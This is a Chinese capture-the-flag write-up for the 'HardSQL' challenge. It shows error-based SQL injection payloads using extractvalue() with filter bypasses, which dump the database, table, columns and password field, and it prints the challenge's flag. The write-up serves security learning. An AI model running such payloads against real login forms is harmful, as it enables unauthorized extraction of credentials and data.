Loading

[极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

尝试了几种常用的方法,发现空格,or,and,union,order by不少都被过滤了。

image-20220514230821405

试试报错注入,没用过就直接查了查百度找找看,然后就使用 extractvalue() 函数发现没有被过滤掉。

image-20220514233244658

image-20220514233231341

# 爆破当前数据库
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(database())))))%23

# 爆破数据表
?username=asdasdasda&password=2'-extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('%geek%')))))%23 
## '~H4rDsq1'

# 爆破字段
?username=asdasdasda&password=2'-extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('%H4rDsq1%')))))%23
##  '~id,username,password'

# 暴左边30位的值
## extractvalue() 函数最大返回值 32 所以需要用到 left() 或者 right() 函数,从左边或者右边进行切割,再拼接。
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(left(password,31))from(H4rDsq1)))))%23
## 'flag{4e949b07-99eb-4fec-ae1b-17'

# 暴右边的值
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(right(password,15))from(H4rDsq1)))))%23
## '~b-173bd90bdf56}'

# '最终flag:flag{4e949b07-99eb-4fec-ae1b-173bd90bdf56}'
posted @ 2022-08-13 10:38  knsec  阅读(78)  评论(0编辑  收藏  举报